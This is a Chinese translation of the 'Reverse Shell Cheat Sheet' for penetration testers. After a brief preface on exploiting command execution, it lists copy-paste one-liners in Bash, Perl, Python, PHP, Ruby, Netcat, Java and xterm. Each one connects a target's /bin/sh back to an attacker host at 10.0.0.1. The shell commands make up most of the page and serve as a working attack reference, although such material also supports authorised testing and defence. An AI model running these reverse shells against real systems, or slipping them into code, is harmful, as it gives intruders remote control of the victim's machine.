[译]反向shell浅谈

《Reverse Shell Cheat Sheet》

前言

如果你在渗透测试中幸运地找到了一个命令执行漏洞那么接下来你可能想做的便是获得一个交互式shell。

通过新建账户、添加SSH秘钥或是修改.rhosts文件等方法直接登录当然可以获得交互式shell。
若无法直接登录,就该考虑将shell绑定到某个TCP端口(正向shell)或是弹一个反向shell。
本文主要介绍反向shell。

使用何种反向shell技术主要取决于目标主机上安装的脚本语言——除非你要在目标主机上安装新脚本语言。

下面的例子都是为类Unix系统定制的,其中有些例子通过简单的修改可以运行在Windows中,如将“/bin/sh -i”修改为“cmd.exe”。

所有命令都写成了一行以便于复制粘贴,虽然这降低了可读性。

Bash

下例测试于Ubuntu 10.10中:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

更多Bash的例子见:《bash can send you a reverse shell》

PERL

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

更短的版本:《perl-reverse-shell》

Python

下例测试于Linux / Python 2.7中:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

下例假设TCP使用的文件描述符是3,在我测试的电脑上是这样的。如果不行,尝试4、5、6…

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

如果能上传.php文件,可以试试更强大的《php-reverse-shell》

Ruby

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat在现在的生产环境服务器中难得一见,就算安装了它,有一些版本也不支持“-e”参数。

    nc -e /bin/sh 10.0.0.1 1234

如果你遇到的Netcat不支持“-e”参数,可以用下面的方式获得反向shell:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

(没有从匿名读者测试子任务)

xterm

使用xterm会话是获得反向shell最简单的方式。下面的命令应该运行在服务器上,它将会尝试连接你(10.0.0.1)的6001端口。

    xterm -display 10.0.0.1:1

为接受xterm连接你需要启动一个X-Server,方法之一是使用如下命令,该命令运行在你的电脑(10.0.0.1中),:1表示6001端口:

    Xnest :1

还需要授权让目标能够连接你:

    xhost +targetip

进一步阅读

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

20 − 19 =